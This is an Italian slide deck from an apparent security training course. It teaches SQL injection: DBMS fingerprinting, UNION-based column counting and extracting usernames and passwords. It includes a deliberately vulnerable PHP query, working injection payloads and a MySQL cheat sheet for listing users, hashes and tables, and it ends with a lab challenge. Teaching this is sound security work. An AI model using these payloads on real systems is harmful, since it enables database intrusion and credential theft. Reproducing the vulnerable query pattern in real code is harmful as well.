

coppito\_zero\_day

# SQL INJECTION

## LESSON 01

## ' RECON

E' importante indentificare il DBMS che stiamo attaccando.

Tecniche:

- Scatenare un errore (non-blind)
- Banner grabbing (non-blind)
- Inferring from strings (blind)

# ' RECON

## SCATENARE UN ERRORE

(non-blind)

Database	Error
MySQL	ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
MSSQL	Microsoft OLE DB Provider for SQL Server error '80040e14' Line 1: Incorrect syntax near '1'.
Oracle	ORA-01773:may not specify column datatypes in this CREATE TABLE

' RECON

BANNER GRABBING

(non-blind)

Database	Query
MySQL	SELECT version() SELECT @@version
MSSQL	SELECT @@version
Oracle	SELECT banner FROM v\$version SELECT banner FROM v\$version WHERE rownum=1

' RECON

INFERRING FROM STRINGS

(blind)

Database	Query
MySQL	SELECT 'coppito' 'zero' 'day'
	SELECT CONCAT('coppito','zero','day')
MSSQL	SELECT 'coppito' + 'zero' + 'day'
Oracle	SELECT 'coppito'    'zero'    'day'
	SELECT CONCAT('coppito','zero','day')

coppito\_zero\_day

## ' UNION BASED

L'operatore **UNION** ci consente di combinare il risultato di due o più **SELECT**.

```
SELECT col1, col2, col3, ..., colN FROM table1
UNION
SELECT col1, col2, col3, ..., colN FROM table2
```

Ritorna una tabella che contiene i risultanti di entrambe le `SELECT`. Torna solo valori distinti.

```
SELECT col1, col2, col3, ...,colN FROM table1
UNION ALL
SELECT col1, col2, col3, ...,colN FROM table2
```

Torna anche valori duplicati.

# ' UNION BASED

## LIMITAZIONI

- Le query devono avere lo stesso numero di colonne
- I dati nelle colonne corrispondenti devono essere dello stesso tipo (o compatibili)

# ' UNION BASED

## LIMITAZIONI

DBMS	Error with UNION
MSSQL	All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists
MySQL	The used SELECT statements have a different number of columns
Oracle	ORA-01789: query block has incorrect number of result columns

Gli errori non ci comunicano qual è il numero di colonne richiesto: dobbiamo fare brute force.



# ' UNION BASED

## OTTENERE IL NUMERO DI COLONNE

```
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "'";  
$result = $conn->query($sql);  
while($row = $result->fetch_array()){  
    print_r($row);  
}
```

Valore in input:

```
$_GET['id'] = "1' UNION ALL SELECT 1 -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE id = '1' UNION ALL SELECT 1 -- -'
```

Fallisce poiché il numero di colonne è differente.

# ' UNION BASED

## OTTENERE IL NUMERO DI COLONNE

Valore in input:

```
$_GET['id'] = "1' UNION ALL SELECT 1, 2 -- -";  
$_GET['id'] = "1' UNION ALL SELECT 1, 2, 3 -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE id = '1' UNION ALL SELECT 1, 2 -- - FAILS!'  
SELECT `id`, `title`, `content` FROM `pages` WHERE id = '1' UNION ALL SELECT 1, 2, 3 -- - OK!'
```

# ' UNION BASED

## OTTENERE IL NUMERO DI COLONNE

Possiamo ottenere lo stesso risultato usando `ORDER BY`.  
`ORDER BY` accetta come parametro il nome di una colonna o un numero.

Valore in input:

```
$_GET['id'] = "1' ORDER BY 1 -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1' ORDER BY 1 -- - ' OK!  
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1' ORDER BY 2 -- - ' OK!  
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1' ORDER BY 3 -- - ' OK!  
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1' ORDER BY 4 -- - ' FAILS!
```

Fallisce con `4` e vuol dire che la tabella ha `3` colonne.

# ' UNION BASED

## OTTENERE IL NUMERO DI COLONNE

La tecnica `ORDER BY` è più rapida con molte colonne.  
Può essere utilizzata la ricerca binaria (binary search).

Assumendo una tabella di 15 colonne

1. `ORDER BY 8`: no error. Numero di colonne  $\geq 8$
2. `ORDER BY 16`: error. Numero di colonne  $\geq 8 < 16$
3. `ORDER BY 12`: no error. Numero di colonne  $\geq 12 < 16$
4. `ORDER BY 14`: no error. Numero di colonne  $\geq 14 < 16$
5. `ORDER BY 15`: no error. Numero di colonne  $= 15$

# ' UNION BASED

## ESEMPIO

```
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "'";  
$result = $conn->query($sql);  
while($row = $result->fetch_array()){  
    print_r($row);  
}
```

Valore in input:

```
$_GET['id'] = "' UNION ALL SELECT 1, 2, 3 -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1' UNION ALL SELECT 1, 2, 3 -- -'
```

# ' UNION BASED

## ESEMPIO

Risultato:

id	title	content
1	Titolo News	Contenuto News
1	2	3

coppito\_zero\_day

## ' UNION BASED NON-BLIND COLUMNS

`SELECT 1,2,3, ..., n` è utile anche per identificare l'output che riceviamo.

Se viene stampata una sola colonna possiamo usare qualche trucco per ottenere più colonne in un colpo solo.

```
SELECT CONCAT('coppito', 'zero', 'day');
```

Torna `coppitozeroday`.

```
SELECT CONCAT_WS('_', 'coppito', 'zero', 'day');
```

Torna `coppito_zero_day`. Il primo argomento è il separatore.

# ' UNION BASED

Assumiamo l'esistenza di un'altra tabella, `users`, con `id`, `username` e `password`.

```
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "'";  
$result = $conn->query($sql);  
while($row = $result->fetch_array()){  
    echo $row['title'];  
}
```

Abbiamo già testato il numero di colonne:

```
$_GET['id'] = "' UNION ALL SELECT 1, 2, 3 -- -";
```

Questo stamperà anche il nostro 2

Possiamo stampare anche tutti gli `username` della tabella `users`:

```
$_GET['id'] = "' UNION ALL SELECT 1, username, 3 FROM users -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE id = '1'  
UNION ALL SELECT 1, `username`, 3 FROM `users` -- -'
```



# ' UNION BASED

Come otteniamo tutta la tabella `users` in un colpo solo?

Valore in input:

```
$_GET['id'] = "" UNION ALL SELECT 1, CONCAT_WS('|', id, username, password), 3 FROM users -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1'  
UNION ALL  
SELECT 1, CONCAT_WS('|', `id`, `username`, `password`), 3 FROM `users` -- -'
```

Risultato:

title
Titolo News
1 admin s3cr3tP4ssw0rd!
2 editor password
...
4 user password1

# ' UNION BASED

Assumiamo l'esistenza di un'altra tabella, `users`, con `id`, `username` e `password`.

Viene stampato solo 1 record

```
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "' LIMIT 1";
$result = $conn->query($sql);
$row = $result->fetch_array();
print_r($row);
```

Valore in input:

```
$_GET['id'] = "' UNION ALL SELECT id, username, password FROM users -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE `id` = '1'
UNION ALL SELECT `id`, `username`, `password` FROM `users` -- - LIMIT 1'
```

Risultato:

id	title	content
1	Titolo News	Contenuto News

# ' UNION BASED

Dobbiamo aggiungere una condizione che renda sempre falsa la condizione del `WHERE`, prima della nostra `UNION`.

Valore in input:

```
$_GET['id'] = "'AND 1=0 UNION ALL SELECT username, password, 3 FROM users -- -";
```

Risultato:

```
SELECT `id`, `title`, `content` FROM `pages` WHERE id = '1' AND 1=0
UNION ALL
SELECT `username`, `password`, 3 FROM `users` -- - LIMIT 1'
```

Risultato:

id	title	content
admin	password	3

# CHEATSHEET

Sappiamo come ottenere altri dati tramite una UNION sfruttando una SQLi.

Come possiamo scoprire se ci sono altre tabelle? Quali sono i nomi delle colonne? Siamo DBA?

- MYSQL  
<http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- MSSQL  
<http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet>
- ORACLE  
<http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet>
- POSTGRES  
<http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet>

## LEARN BY HEART!!!

# CHEATSHEET

## MYSQL

Target	Query
Version	SELECT @@version
Current User	SELECT user(); SELECT system_user();
List Users	SELECT user FROM mysql.user; -- priv
List Password Hashes	SELECT host, user, password FROM mysql.user; – priv

# CHEATSHEET

## MYSQL

Target	Query
Version	SELECT @@version
Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; -- - for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db -- - priv
List Tables	SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

# CHEATSHEET

## MYSQL

Target	Query
ASCII value to CHAR	<code>SELECT char(65); # returns A</code>
CHAR value to ASCII	<code>SELECT ascii('A'); # returns 65</code>
String concatenation	<code>SELECT CONCAT('A','B'); #returns AB</code> <code>SELECT CONCAT_WS(',', 'A','B','C'); # returns A,B,C</code>
Avoiding Quotes	<code>SELECT 0x414243; # returns ABC</code>
Hostname, IP	<code>SELECT @@hostname;</code>

coppito\_zero\_day

DEMO



coppito\_zero\_day

# CHALLENGE

**HTTP://10.42.0.1:8001**